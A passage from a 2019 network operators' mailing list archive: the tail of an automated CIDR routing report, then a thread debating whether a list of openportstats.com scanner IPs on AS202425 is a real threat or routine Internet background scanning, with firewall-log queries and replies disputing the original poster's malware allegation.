Guangdong Mobile Communication 9829 2693 1490 563 BSNL-NIB National Internet Backbone, IN 4766 2526 11119 760 KIXS-AS-KR Korea Telecom, KR 4755 2137 428 181 TATACOMM-AS TATA Communications formerl 9394 2100 4882 26 CTTNET China TieTong Telecommunications 9498 2074 427 171 BBIL-AP BHARTI Airtel Ltd., IN 7713 1872 560 663 TELKOMNET-AS-AP PT Telekomunikasi Indon Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-APNIC ARIN Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 7155 4064 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 11492 3674 240 624 CABLEONE - CABLE ONE, INC., US 6327 3603 1324 89 SHAW - Shaw Communications Inc., CA 22773 3421 2974 156 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 16509 2927 6366 1296 AMAZON-02 - Amazon.com, Inc., US 16625 2497 1364 1874 AKAMAI-AS - Akamai Technologies, Inc., 30036 2175 349 160 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom 20115 2151 2760 526 CHARTER-20115 - Charter Communications, 18566 2095 405 107 MEGAPATH5-US - MegaPath Corporation, US 5650 2085 3074 1461 FRONTIER-FRTR - Frontier Communications Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-ARIN RIPE Region per AS prefix count summary --------------------------------------- ASN No of nets /20 equiv MaxAgg Description 12479 5439 1629 141 UNI2-AS, ES 39891 3517 186 20 ALJAWWALSTC-AS, SA 8551 3175 379 46 BEZEQ-INTERNATIONAL-AS Bezeqint Interne 20940 2688 513 1933 AKAMAI-ASN1, US 12389 2248 2225 636 ROSTELECOM-AS, RU 34984 2094 344 545 TELLCOM-AS, TR 9121 1647 1692 18 TTNET, TR 13188 1604 100 47 TRIOLAN, UA 9009 1556 169 857 M247, GB 61317 1489 147 429 ASDETUK http://www.heficed.com, GB Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-RIPE LACNIC Region per AS prefix count summary ----------------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 6143 3367 570 Uninet S.A. de C.V., MX 10620 3416 534 431 Telmex Colombia S.A., CO 11830 2706 370 54 Instituto Costarricense de Electricidad 7303 1476 1022 275 Telecom Argentina S.A., AR 6503 1216 441 54 Axtel, S.A.B. de C.V., MX 28573 1135 2242 204 CLARO S.A., BR 6147 1079 377 31 Telefonica del Peru S.A.A., PE 3816 1038 523 117 COLOMBIA TELECOMUNICACIONES S.A. ESP, C 13999 1005 516 241 Mega Cable, S.A. de C.V., MX 11172 938 128 62 Alestra, S. de R.L. de C.V., MX Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-LACNIC AfriNIC Region per AS prefix count summary ------------------------------------------ ASN No of nets /20 equiv MaxAgg Description 24863 1166 393 22 LINKdotNET-AS, EG 37611 969 107 9 Afrihost, ZA 24835 881 624 21 RAYA-AS, EG 36992 855 1536 70 ETISALAT-MISR, EG 36903 833 419 127 MT-MPLS, MA 8452 674 1731 19 TE-AS TE-AS, EG 29571 515 68 11 ORANGE-COTE-IVOIRE, CI 37492 471 470 57 ORANGE-, TN 37342 414 32 1 MOVITEL, MZ 15399 387 45 11 WANANCHI-, KE Complete listing at http://thyme.rand.apnic.net/current/data-ASnet-AFRINIC Global Per AS prefix count summary ---------------------------------- ASN No of nets /20 equiv MaxAgg Description 8151 6143 3367 570 Uninet S.A. de C.V., MX 12479 5439 1629 141 UNI2-AS, ES 7545 4773 549 540 TPG-INTERNET-AP TPG Telecom Limited, AU 7155 4064 280 25 VIASAT-SP-BACKBONE - ViaSat,Inc., US 11492 3674 240 624 CABLEONE - CABLE ONE, INC., US 6327 3603 1324 89 SHAW - Shaw Communications Inc., CA 39891 3517 186 20 ALJAWWALSTC-AS, SA 22773 3421 2974 156 ASN-CXA-ALL-CCI-22773-RDC - Cox Communi 10620 3416 534 431 Telmex Colombia S.A., CO 7552 3209 1467 29 VIETEL-AS-AP Viettel Group, VN Complete listing at http://thyme.rand.apnic.net/current/data-ASnet Global Per AS Maximum Aggr summary ---------------------------------- ASN No of nets Net Savings Description 12479 5439 5298 UNI2-AS, ES 7545 4773 4233 TPG-INTERNET-AP TPG Telecom Limited, AU 7155 4064 4039 VIASAT-SP-BACKBONE - ViaSat,Inc., US 6327 3603 3514 SHAW - Shaw Communications Inc., CA 39891 3517 3497 ALJAWWALSTC-AS, SA 22773 3421 3265 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 7552 3209 3180 VIETEL-AS-AP Viettel Group, VN 8551 3175 3129 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 11492 3674 3050 CABLEONE - CABLE ONE, INC., US 10620 3416 2985 Telmex Colombia S.A., CO Complete listing at http://thyme.rand.apnic.net/current/data-CIDRnet List of Unregistered Origin ASNs (Global) ----------------------------------------- Bad AS Designation Network Transit AS Description 230105 UNALLOCATED 38.110.79.0/24 23015 CMC180-TOR-AS - Cambridge Merc 267804 UNALLOCATED 45.172.108.0/22 52361 ARSAT - Empresa Argentina de S 266842 UNALLOCATED 45.238.156.0/22 265680 HNTELCO S.A, HN 65550 DOCUMENT 81.8.34.0/24 15924 BORUSANTELEKOM-AS, TR 65550 DOCUMENT 81.8.35.0/24 15924 BORUSANTELEKOM-AS, TR 65549 DOCUMENT 117.239.163.0/24 65544 UNKNOWN 64339 UNALLOCATED 143.0.108.0/22 18747 IFX18747 - IFX Corporation, US 64355 UNALLOCATED 156.40.196.0/24 30387 NIH-NET-NCCS - National Instit 64011 UNALLOCATED 166.133.128.0/18 20057 ATT-MOBILITY-LLC-AS20057 - AT& 64011 UNALLOCATED 166.133.192.0/18 20057 ATT-MOBILITY-LLC-AS20057 - AT& Complete listing at http://thyme.rand.apnic.net/current/data-badAS Advertised Unallocated Addresses -------------------------------- Network Origin AS Description 27.100.7.0/24 56096 UNKNOWN 27.126.156.0/22 55827 UNKNOWN 27.126.156.0/23 55827 UNKNOWN 27.126.158.0/23 55827 UNKNOWN 41.76.136.0/22 37500 -Reserved AS-, ZZ 41.76.140.0/22 37500 -Reserved AS-, ZZ 41.78.92.0/22 14988 BTC-GATE1, BW 41.78.180.0/23 37265 -Reserved AS-, ZZ 41.220.48.0/20 36900 -Reserved AS-, ZZ 41.242.92.0/24 37643 -Reserved AS-, ZZ Complete listing at http://thyme.rand.apnic.net/current/data-add-IANA Number of prefixes announced per prefix length (Global) ------------------------------------------------------- /1:0 /2:0 /3:0 /4:0 /5:0 /6:0 /7:0 /8:10 /9:11 /10:37 /11:100 /12:294 /13:568 /14:1129 /15:1912 /16:13278 /17:8015 /18:13960 /19:25803 /20:40256 /21:47442 /22:94899 /23:76751 /24:433092 /25:888 /26:0 /27:0 /28:0 /29:0 /30:0 /31:0 /32:0 Advertised prefixes smaller than registry allocations ----------------------------------------------------- ASN No of nets Total ann. Description 12479 4392 5439 UNI2-AS, ES 6327 3393 3603 SHAW - Shaw Communications Inc., CA 7155 3156 4064 VIASAT-SP-BACKBONE - ViaSat,Inc., US 11492 2878 3674 CABLEONE - CABLE ONE, INC., US 39891 2689 3517 ALJAWWALSTC-AS, SA 22773 2656 3421 ASN-CXA-ALL-CCI-22773-RDC - Cox Communications 8551 2628 3175 BEZEQ-INTERNATIONAL-AS Bezeqint Internet Backbo 11830 2051 2706 Instituto Costarricense de Electricidad y Telec 18566 1990 2095 MEGAPATH5-US - MegaPath Corporation, US 30036 1926 2175 MEDIACOM-ENTERPRISE-BUSINESS - Mediacom Communi Complete listing at http://thyme.rand.apnic.net/current/data-sXXas-nos Number of /24s announced per /8 block (Global) ---------------------------------------------- 1:1687 2:1041 3:6 4:21 5:2926 6:47 7:1 8:1346 9:1 11:1 12:1804 13:354 14:2047 15:38 16:6 17:257 18:74 20:55 23:2754 24:2554 25:4 27:2453 31:2024 32:100 35:36 36:874 37:3030 38:1767 39:279 40:122 41:3186 42:821 43:2059 44:149 45:8415 46:3311 47:260 49:1359 50:1112 51:330 52:1018 54:281 55:709 56:6 57:47 58:1764 59:1070 60:530 61:2196 62:1969 63:1845 64:5000 65:2202 66:4840 67:2775 68:1176 69:3555 70:1369 71:649 72:2623 74:2724 75:1294 76:558 77:1801 78:1826 79:2373 80:1826 81:1481 82:1134 83:914 84:1131 85:2284 86:557 87:1538 88:1046 89:2548 90:214 91:6585 92:1434 93:2472 94:2471 95:3294 96:946 97:343 98:959 99:780 100:86 101:1183 102:633 103:21476 104:3552 105:270 106:780 107:1762 108:695 109:3632 110:1719 111:2050 112:1533 113:1387 114:1238 115:1733 116:1761 117:1914 118:2140 119:1651 120:1050 121:1049 122:2242 123:1774 124:1493 125:2016 128:1328 129:833 130:539 131:1818 132:818 133:221 134:1099 135:252 136:592 137:781 138:2065 139:886 140:599 141:893 142:799 143:1079 144:896 145:276 146:1296 147:830 148:1691 149:1102 150:780 151:1013 152:1090 153:338 154:4084 155:910 156:1620 157:1019 158:658 159:1946 160:1601 161:938 162:2970 163:832 164:1249 165:1608 166:476 167:1418 168:3293 169:890 170:4202 171:607 172:1653 173:2234 174:1045 175:977 176:2367 177:4105 178:2549 179:1377 180:2164 181:2379 182:2721 183:1086 184:2250 185:15267 186:3636 187:2482 188:2957 189:2012 190:8206 191:1447 192:10053 193:6729 194:5480 195:4144 196:3117 197:1592 198:5955 199:5968 200:7119 201:5112 202:10427 203:10208 204:4547 205:3074 206:3247 207:3232 208:3932 209:4280 210:3942 211:2045 212:3120 213:2955 214:1116 215:55 216:5872 217:2223 218:890 219:602 220:1887 221:975 222:978 223:1380 End of report From bryan at shout.net Fri Jun 21 18:55:26 2019 From: bryan at shout.net (Bryan Holloway) Date: Fri, 21 Jun 2019 13:55:26 -0500 Subject: few big monolithic PEs vs many small PEs In-Reply-To: <000901d52839$d87e9940$897bcbc0$@gvtc.com> References: <005b01d526dc$c1af2800$450d7800$@netconsultings.com> <2c8ac110-701e-209f-8144-ab8935a85e34@lanparty.ee> <00f001d52804$1c233fb0$5469bf10$@netconsultings.com> <000901d52839$d87e9940$897bcbc0$@gvtc.com> Message-ID: <17480b6d-3bb1-9ce5-ce90-d1a5af559d5a@shout.net> On 6/21/19 10:01 AM, Aaron Gould wrote: > I was reading this and thought, ....planet earth is a single point of failure. > > ...but, I guess we build and design and connect as much redundancy (logic, hw, sw, power) as the customer requires and pays for.... and that we can truly accomplish. > > -Aaron > > I don't know about you, but we keep two earths in active/standby. Sure, the power requirements are through the roof, but hey -- it's worth it. From rfg at tristatelogic.com Sat Jun 22 00:13:35 2019 From: rfg at tristatelogic.com (Ronald F. Guilmette) Date: Fri, 21 Jun 2019 17:13:35 -0700 Subject: Russian Anal Probing + Malware Message-ID: <46055.1561162415@segfault.tristatelogic.com> https://twitter.com/GreyNoiseIO/status/1129017971135995904 https://twitter.com/JayTHL/status/1128718224965685248 Friday Questionaire: Is there anybody on this list who keeps firewall logs and who DOESN'T have numerous hits recorded therein from one or more of the following IP addresses? 80.82.64.21 scanner29.openportstats.com 80.82.70.2 scanner8.openportstats.com 80.82.70.198 scanner21.openportstats.com 80.82.70.216 scanner13.openportstats.com 80.82.78.104 scanner151.openportstats.com 89.248.160.132 scanner15.openportstats.com 89.248.162.168 scanner5.openportstats.com 89.248.168.62 scanner1.openportstats.com 89.248.168.63 scanner2.openportstats.com 89.248.168.73 scanner3.openportstats.com 89.248.168.74 scanner4.openportstats.com 89.248.168.170 scanner17.openportstats.com 89.248.168.196 scanner16.openportstats.com 89.248.171.38 scanner7.openportstats.com 89.248.171.57 scanner20.openportstats.com 89.248.172.18 scanner25.openportstats.com 89.248.172.23 scanner27.openportstats.com 93.174.91.31 scanner10.openportstats.com 93.174.91.34 scanner11.openportstats.com 93.174.91.35 scanner12.openportstats.com 93.174.93.98 scanner18.openportstats.com 93.174.93.149 scanner6.openportstats.com 93.174.93.241 scanner14.openportstats.com 93.174.95.37 scanner19.openportstats.com 93.174.95.42 scanner8.openportstats.com 94.102.51.31 scanner31.openportstats.com 94.102.51.98 scanner55.openportstats.com 94.102.52.245 scanner9.openportstats.com NOTE: Dshield has already assigned an 8 rating on their Badness Richter Scale to the specific one of the above addresses that's been poking me personally in recent days: https://www.dshield.org/ipinfo.html?ip=89.248.162.168 https://www.dshield.org/ipdetails.html?ip=89.248.162.168 And the Dshield rating is *just* based on the probing. The addition of malware slinging also puts this whole mess over the top entirely. Oh! And I'll save you all the time looking it up.... 100% of the IPs listed above are on AS202425 "IP Volume, Inc. allegedly of the Seychelles Islands, where the employees and management are no doubt enjoying their luxurious and expansive new corporate headquarters... https://bit.ly/2ZBayc4 Regards, rfg P.S. This is the kind of thing that everybody really should expect when the U.S. Department of Defense takes it upon itself to start up its own little private and unauthorized (cyber)war on Russia, wthout first obtaining the consent of Congress... you know, kinda like that ancient yellowed document that nobody in this country reads anymore says they should. And apparently, the DoD was understandably not anxious to brief even the President about all this... https://www.businessinsider.com/us-officials-hide-russia-cyber-operation-trump-2019-6 (Not that anybody can really blame them for THAT.) From kmedcalf at dessus.com Sat Jun 22 17:01:13 2019 From: kmedcalf at dessus.com (Keith Medcalf) Date: Sat, 22 Jun 2019 11:01:13 -0600 Subject: Russian Anal Probing + Malware In-Reply-To: <46055.1561162415@segfault.tristatelogic.com> Message-ID: On Friday, 21 June, 2019 18:14, Ronald F. Guilmette wrote: > https://twitter.com/GreyNoiseIO/status/1129017971135995904 > https://twitter.com/JayTHL/status/1128718224965685248 Sorry, don't twitter ... Too much malicious JavaScript there. >Friday Questionaire: >Is there anybody on this list who keeps firewall logs and who >DOESN'T have numerous hits recorded therein from one or more >of the following IP addresses? >80.82.64.21 scanner29.openportstats.com >80.82.70.2 scanner8.openportstats.com >80.82.70.198 scanner21.openportstats.com >80.82.70.216 scanner13.openportstats.com >80.82.78.104 scanner151.openportstats.com >89.248.160.132 scanner15.openportstats.com >89.248.162.168 scanner5.openportstats.com >89.248.168.62 scanner1.openportstats.com >89.248.168.63 scanner2.openportstats.com >89.248.168.73 scanner3.openportstats.com >89.248.168.74 scanner4.openportstats.com >89.248.168.170 scanner17.openportstats.com >89.248.168.196 scanner16.openportstats.com >89.248.171.38 scanner7.openportstats.com >89.248.171.57 scanner20.openportstats.com >89.248.172.18 scanner25.openportstats.com >89.248.172.23 scanner27.openportstats.com >93.174.91.31 scanner10.openportstats.com >93.174.91.34 scanner11.openportstats.com >93.174.91.35 scanner12.openportstats.com >93.174.93.98 scanner18.openportstats.com >93.174.93.149 scanner6.openportstats.com >93.174.93.241 scanner14.openportstats.com >93.174.95.37 scanner19.openportstats.com >93.174.95.42 scanner8.openportstats.com >94.102.51.31 scanner31.openportstats.com >94.102.51.98 scanner55.openportstats.com >94.102.52.245 scanner9.openportstats.com I have just a few. They have all been blocked. There have been no incoming sessions established, nor any outbound sessions to these addresses. Why do you think it is a problem and not just run-of-the-mill background radiation on the Internet? Do you (or your endpoints) not have a firewall to block such things? sqlite> select * from hosts where name like '%openports%'; id address name description asn lastupdate ---------- ------------- ---------------------------- ----------- ---------- ---------- 3662 93.174.93.241 scanner14.openportstats.com. 202425 1561209704 5061 93.174.95.42 scanner8.openportstats.com. 202425 1560718494 11894 93.174.93.149 scanner6.openportstats.com. 202425 1560732443 17720 93.174.93.98 scanner18.openportstats.com. 202425 1560640554 54208 80.82.70.2 scanner8.openportstats.com. 202425 1560774033 54790 89.248.160.13 scanner15.openportstats.com. 202425 1560682732 55081 89.248.168.19 scanner16.openportstats.com. 202425 1561158220 55629 89.248.168.17 scanner17.openportstats.com. 202425 1560817976 59858 89.248.171.57 scanner20.openportstats.com. 202425 1560800216 64626 89.248.171.38 scanner7.openportstats.com. 202425 1560841829 70081 93.174.95.37 scanner19.openportstats.com. 202425 1560802023 72978 80.82.70.216 scanner13.openportstats.com. 202425 1560709312 74711 94.102.52.245 scanner9.openportstats.com. 202425 1560589038 80358 89.248.162.16 scanner5.openportstats.com. 202425 1561217966 86148 89.248.172.18 scanner25.openportstats.com. 202425 1560884061 89484 94.102.51.31 scanner31.openportstats.com. 202425 1561199715 90131 80.82.70.198 scanner21.openportstats.com. 202425 1560776777 90531 80.82.78.104 scanner151.openportstats.com 202425 1561150052 91641 80.82.64.21 scanner29.openportstats.com. 202425 1561184548 104810 94.102.51.98 scanner55.openportstats.com. 202425 1561138118 sqlite> select * from asns where asn=202425; asn country rir allocated description lastupdate ---------- ---------- ---------- ---------- --------------- ---------- 202425 SC ripencc 2018-05-17 INT-NETWORK, SC 1561217966 sqlite> select srcaddress, count(*), min(localtime), max(localtime) from firewalllog where srcaddress in (select address from hosts where name like '%openportstats.com.') group by srcaddress; srcaddress count(*) min(localtime) max(localtime) ----------- ---------- ------------------------------ ------------------------------ 80.82.64.21 6 2019-03-28 05:21:13.919 -06:00 2019-03-31 06:47:28.309 -06:00 80.82.70.2 208 2019-01-23 12:58:02.557 -07:00 2019-04-02 06:37:43.125 -06:00 80.82.70.19 114 2019-03-25 14:13:17.058 -06:00 2019-04-02 06:39:57.214 -06:00 80.82.70.21 17970 2019-02-25 13:34:52.202 -07:00 2019-04-24 19:27:58.113 -06:00 80.82.78.10 767 2019-03-26 08:37:53.799 -06:00 2019-06-21 15:27:05.791 -06:00 89.248.160. 1754 2019-01-24 12:40:58.764 -07:00 2019-04-13 05:02:00.866 -06:00 89.248.162. 1384 2019-03-09 16:21:40.538 -07:00 2019-06-22 09:39:26.809 -06:00 89.248.168. 43 2019-01-25 18:52:41.512 -07:00 2019-03-28 06:57:15.269 -06:00 89.248.168. 1543 2019-01-24 23:03:14.052 -07:00 2019-04-23 01:46:26.558 -06:00 89.248.171. 22 2019-02-10 12:14:00.168 -07:00 2019-02-12 14:16:40.212 -07:00 89.248.171. 1850 2019-02-01 18:06:15.893 -07:00 2019-06-17 13:36:56.062 -06:00 89.248.172. 3 2019-03-18 20:33:50.209 -06:00 2019-03-23 16:47:31.949 -06:00 93.174.93.9 67 2018-12-08 17:42:28.122 -07:00 2019-04-01 03:24:06.896 -06:00 93.174.93.1 16 2018-12-04 03:34:47.534 -07:00 2019-05-07 01:34:27.308 -06:00 93.174.93.2 1661 2018-11-23 10:13:06.957 -07:00 2019-06-22 07:21:44.239 -06:00 93.174.95.3 144 2019-02-20 08:06:52.282 -07:00 2019-02-28 02:30:39.109 -07:00 93.174.95.4 252 2018-11-24 22:14:19.061 -07:00 2019-03-03 19:04:48.709 -07:00 94.102.51.3 262 2019-03-24 10:03:55.679 -06:00 2019-06-22 04:35:15.886 -06:00 94.102.51.9 32 2019-04-28 08:52:43.818 -06:00 2019-05-17 11:22:16.166 -06:00 94.102.52.2 38 2019-02-28 12:45:52.949 -07:00 2019-03-07 07:30:03.547 -07:00 >NOTE: Dshield has already assigned an 8 rating on their Badness >Richter Scale to the specific one of the above addresses that's >been poking me personally in recent days: > https://www.dshield.org/ipinfo.html?ip=89.248.162.168 > https://www.dshield.org/ipdetails.html?ip=89.248.162.168 >And the Dshield rating is *just* based on the probing. The addition >of malware slinging also puts this whole mess over the top entirely. What malware slinging? I see none of that. Merely unsolicited incoming connection attempts. I note that neither the ASN in question nor the addresses are on the DROP list. >Oh! And I'll save you all the time looking it up.... 100% of the IPs >listed above are on AS202425 "IP Volume, Inc. allegedly of the >Seychelles Islands, where the employees and management are no >doubt enjoying their luxurious and expansive new corporate headquarters... Good for them. Everyone should have luxurious and expansive corporate headquarters. > https://bit.ly/2ZBayc4 Malicious link detected. -- The fact that there's a Highway to Hell but only a Stairway to Heaven says a lot about anticipated traffic volume. From troy at wolvtech.com Sat Jun 22 20:58:31 2019 From: troy at wolvtech.com (Troy Mursch) Date: Sat, 22 Jun 2019 13:58:31 -0700 Subject: Russian Anal Probing + Malware In-Reply-To: References: <46055.1561162415@segfault.tristatelogic.com> Message-ID: AS202425 = AS29073. Formerly known as Quasi Networks / Ecatel. See previous NANOG thread here: https://mailman.nanog.org/pipermail/nanog/2017-August/091956.html On Sat, Jun 22, 2019 at 10:03 AM Keith Medcalf wrote: > On Friday, 21 June, 2019 18:14, Ronald F. Guilmette > wrote: > > > https://twitter.com/GreyNoiseIO/status/1129017971135995904 > > https://twitter.com/JayTHL/status/1128718224965685248 > > Sorry, don't twitter ... Too much malicious JavaScript there. > > >Friday Questionaire: > > >Is there anybody on this list who keeps firewall logs and who > >DOESN'T have numerous hits recorded therein from one or more > >of the following IP addresses? > > >80.82.64.21 scanner29.openportstats.com > >80.82.70.2 scanner8.openportstats.com > >80.82.70.198 scanner21.openportstats.com > >80.82.70.216 scanner13.openportstats.com > >80.82.78.104 scanner151.openportstats.com > >89.248.160.132 scanner15.openportstats.com > >89.248.162.168 scanner5.openportstats.com > >89.248.168.62 scanner1.openportstats.com > >89.248.168.63 scanner2.openportstats.com > >89.248.168.73 scanner3.openportstats.com > >89.248.168.74 scanner4.openportstats.com > >89.248.168.170 scanner17.openportstats.com > >89.248.168.196 scanner16.openportstats.com > >89.248.171.38 scanner7.openportstats.com > >89.248.171.57 scanner20.openportstats.com > >89.248.172.18 scanner25.openportstats.com > >89.248.172.23 scanner27.openportstats.com > >93.174.91.31 scanner10.openportstats.com > >93.174.91.34 scanner11.openportstats.com > >93.174.91.35 scanner12.openportstats.com > >93.174.93.98 scanner18.openportstats.com > >93.174.93.149 scanner6.openportstats.com > >93.174.93.241 scanner14.openportstats.com > >93.174.95.37 scanner19.openportstats.com > >93.174.95.42 scanner8.openportstats.com > >94.102.51.31 scanner31.openportstats.com > >94.102.51.98 scanner55.openportstats.com > >94.102.52.245 scanner9.openportstats.com > > I have just a few. They have all been blocked. There have been no > incoming sessions established, nor any outbound sessions to these addresses. > > Why do you think it is a problem and not just run-of-the-mill background > radiation on the Internet? > > Do you (or your endpoints) not have a firewall to block such things? > > sqlite> select * from hosts where name like '%openports%'; > id address name description asn > lastupdate > ---------- ------------- ---------------------------- ----------- > ---------- ---------- > 3662 93.174.93.241 scanner14.openportstats.com. > 202425 1561209704 > 5061 93.174.95.42 scanner8.openportstats.com. > 202425 1560718494 > 11894 93.174.93.149 scanner6.openportstats.com. > 202425 1560732443 > 17720 93.174.93.98 scanner18.openportstats.com. > 202425 1560640554 > 54208 80.82.70.2 scanner8.openportstats.com. > 202425 1560774033 > 54790 89.248.160.13 scanner15.openportstats.com. > 202425 1560682732 > 55081 89.248.168.19 scanner16.openportstats.com. > 202425 1561158220 > 55629 89.248.168.17 scanner17.openportstats.com. > 202425 1560817976 > 59858 89.248.171.57 scanner20.openportstats.com. > 202425 1560800216 > 64626 89.248.171.38 scanner7.openportstats.com. > 202425 1560841829 > 70081 93.174.95.37 scanner19.openportstats.com. > 202425 1560802023 > 72978 80.82.70.216 scanner13.openportstats.com. > 202425 1560709312 > 74711 94.102.52.245 scanner9.openportstats.com. > 202425 1560589038 > 80358 89.248.162.16 scanner5.openportstats.com. > 202425 1561217966 > 86148 89.248.172.18 scanner25.openportstats.com. > 202425 1560884061 > 89484 94.102.51.31 scanner31.openportstats.com. > 202425 1561199715 > 90131 80.82.70.198 scanner21.openportstats.com. > 202425 1560776777 > 90531 80.82.78.104 scanner151.openportstats.com > 202425 1561150052 > 91641 80.82.64.21 scanner29.openportstats.com. > 202425 1561184548 > 104810 94.102.51.98 scanner55.openportstats.com. > 202425 1561138118 > > sqlite> select * from asns where asn=202425; > asn country rir allocated description lastupdate > ---------- ---------- ---------- ---------- --------------- ---------- > 202425 SC ripencc 2018-05-17 INT-NETWORK, SC 1561217966 > > sqlite> select srcaddress, count(*), min(localtime), max(localtime) from > firewalllog where srcaddress in (select address from hosts where name like > '%openportstats.com.') group by srcaddress; > srcaddress count(*) min(localtime) max(localtime) > ----------- ---------- ------------------------------ > ------------------------------ > 80.82.64.21 6 2019-03-28 05:21:13.919 -06:00 2019-03-31 > 06:47:28.309 -06:00 > 80.82.70.2 208 2019-01-23 12:58:02.557 -07:00 2019-04-02 > 06:37:43.125 -06:00 > 80.82.70.19 114 2019-03-25 14:13:17.058 -06:00 2019-04-02 > 06:39:57.214 -06:00 > 80.82.70.21 17970 2019-02-25 13:34:52.202 -07:00 2019-04-24 > 19:27:58.113 -06:00 > 80.82.78.10 767 2019-03-26 08:37:53.799 -06:00 2019-06-21 > 15:27:05.791 -06:00 > 89.248.160. 1754 2019-01-24 12:40:58.764 -07:00 2019-04-13 > 05:02:00.866 -06:00 > 89.248.162. 1384 2019-03-09 16:21:40.538 -07:00 2019-06-22 > 09:39:26.809 -06:00 > 89.248.168. 43 2019-01-25 18:52:41.512 -07:00 2019-03-28 > 06:57:15.269 -06:00 > 89.248.168. 1543 2019-01-24 23:03:14.052 -07:00 2019-04-23 > 01:46:26.558 -06:00 > 89.248.171. 22 2019-02-10 12:14:00.168 -07:00 2019-02-12 > 14:16:40.212 -07:00 > 89.248.171. 1850 2019-02-01 18:06:15.893 -07:00 2019-06-17 > 13:36:56.062 -06:00 > 89.248.172. 3 2019-03-18 20:33:50.209 -06:00 2019-03-23 > 16:47:31.949 -06:00 > 93.174.93.9 67 2018-12-08 17:42:28.122 -07:00 2019-04-01 > 03:24:06.896 -06:00 > 93.174.93.1 16 2018-12-04 03:34:47.534 -07:00 2019-05-07 > 01:34:27.308 -06:00 > 93.174.93.2 1661 2018-11-23 10:13:06.957 -07:00 2019-06-22 > 07:21:44.239 -06:00 > 93.174.95.3 144 2019-02-20 08:06:52.282 -07:00 2019-02-28 > 02:30:39.109 -07:00 > 93.174.95.4 252 2018-11-24 22:14:19.061 -07:00 2019-03-03 > 19:04:48.709 -07:00 > 94.102.51.3 262 2019-03-24 10:03:55.679 -06:00 2019-06-22 > 04:35:15.886 -06:00 > 94.102.51.9 32 2019-04-28 08:52:43.818 -06:00 2019-05-17 > 11:22:16.166 -06:00 > 94.102.52.2 38 2019-02-28 12:45:52.949 -07:00 2019-03-07 > 07:30:03.547 -07:00 > > > >NOTE: Dshield has already assigned an 8 rating on their Badness > >Richter Scale to the specific one of the above addresses that's > >been poking me personally in recent days: > > > https://www.dshield.org/ipinfo.html?ip=89.248.162.168 > > https://www.dshield.org/ipdetails.html?ip=89.248.162.168 > > >And the Dshield rating is *just* based on the probing. The addition > >of malware slinging also puts this whole mess over the top entirely. > > What malware slinging? I see none of that. Merely unsolicited incoming > connection attempts. I note that neither the ASN in question nor the > addresses are on the DROP list. > > >Oh! And I'll save you all the time looking it up.... 100% of the IPs > >listed above are on AS202425 "IP Volume, Inc. allegedly of the > >Seychelles Islands, where the employees and management are no > >doubt enjoying their luxurious and expansive new corporate headquarters... > > Good for them. Everyone should have luxurious and expansive corporate > headquarters. > > > https://bit.ly/2ZBayc4 > > Malicious link detected. > > -- > The fact that there's a Highway to Hell but only a Stairway to Heaven says > a lot about anticipated traffic volume. > > > > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From fhr at fhrnet.eu Sat Jun 22 22:04:01 2019 From: fhr at fhrnet.eu (Filip Hruska) Date: Sat, 22 Jun 2019 22:04:01 +0000 Subject: Russian Anal Probing + Malware In-Reply-To: <46055.1561162415@segfault.tristatelogic.com> References: <46055.1561162415@segfault.tristatelogic.com> Message-ID: <0102016b8137b94b-ce4d0a67-92c5-48c5-952e-d69be862d6eb-000000@eu-west-1.amazonses.com> On 6/22/19 2:13 AM, Ronald F. Guilmette wrote: > https://twitter.com/GreyNoiseIO/status/1129017971135995904 > https://twitter.com/JayTHL/status/1128718224965685248 > > Friday Questionaire: > > Is there anybody on this list who keeps firewall logs and who > DOESN'T have numerous hits recorded therein from one or more > of the following IP addresses? > > 80.82.64.21 scanner29.openportstats.com > 80.82.70.2 scanner8.openportstats.com > 80.82.70.198 scanner21.openportstats.com > 80.82.70.216 scanner13.openportstats.com > 80.82.78.104 scanner151.openportstats.com > 89.248.160.132 scanner15.openportstats.com > 89.248.162.168 scanner5.openportstats.com > 89.248.168.62 scanner1.openportstats.com > 89.248.168.63 scanner2.openportstats.com > 89.248.168.73 scanner3.openportstats.com > 89.248.168.74 scanner4.openportstats.com > 89.248.168.170 scanner17.openportstats.com > 89.248.168.196 scanner16.openportstats.com > 89.248.171.38 scanner7.openportstats.com > 89.248.171.57 scanner20.openportstats.com > 89.248.172.18 scanner25.openportstats.com > 89.248.172.23 scanner27.openportstats.com > 93.174.91.31 scanner10.openportstats.com > 93.174.91.34 scanner11.openportstats.com > 93.174.91.35 scanner12.openportstats.com > 93.174.93.98 scanner18.openportstats.com > 93.174.93.149 scanner6.openportstats.com > 93.174.93.241 scanner14.openportstats.com > 93.174.95.37 scanner19.openportstats.com > 93.174.95.42 scanner8.openportstats.com > 94.102.51.31 scanner31.openportstats.com > 94.102.51.98 scanner55.openportstats.com > 94.102.52.245 scanner9.openportstats.com > > > NOTE: Dshield has already assigned an 8 rating on their Badness Richter > Scale to the specific one of the above addresses that's been poking me > personally in recent days: > > https://www.dshield.org/ipinfo.html?ip=89.248.162.168 > https://www.dshield.org/ipdetails.html?ip=89.248.162.168 > > And the Dshield rating is *just* based on the probing. The addition of > malware slinging also puts this whole mess over the top entirely. > > Oh! And I'll save you all the time looking it up.... 100% of the IPs > listed above are on AS202425 "IP Volume, Inc. allegedly of the Seychelles > Islands, where the employees and management are no doubt enjoying their > luxurious and expansive new corporate headquarters... It's just a port/vulnerability scanner, I really don't see anything special about this particular case. "IP Volume" is actually a new brand of Ecatel/Quasi Networks, servers are in a Dutch datacenter. > P.S. This is the kind of thing that everybody really should expect > when the U.S. Department of Defense takes it upon itself to start up > its own little private and unauthorized (cyber)war on Russia, wthout > first obtaining the consent of Congress... you know, kinda like that > ancient yellowed document that nobody in this country reads anymore > says they should. And apparently, the DoD was understandably not > anxious to brief even the President about all this... > > https://www.businessinsider.com/us-officials-hide-russia-cyber-operation-trump-2019-6 > > (Not that anybody can really blame them for THAT.) What does that have to do with the vulnerability scanner? Also: You know it doesn't make any sense, right? -- Filip Hruska Linux 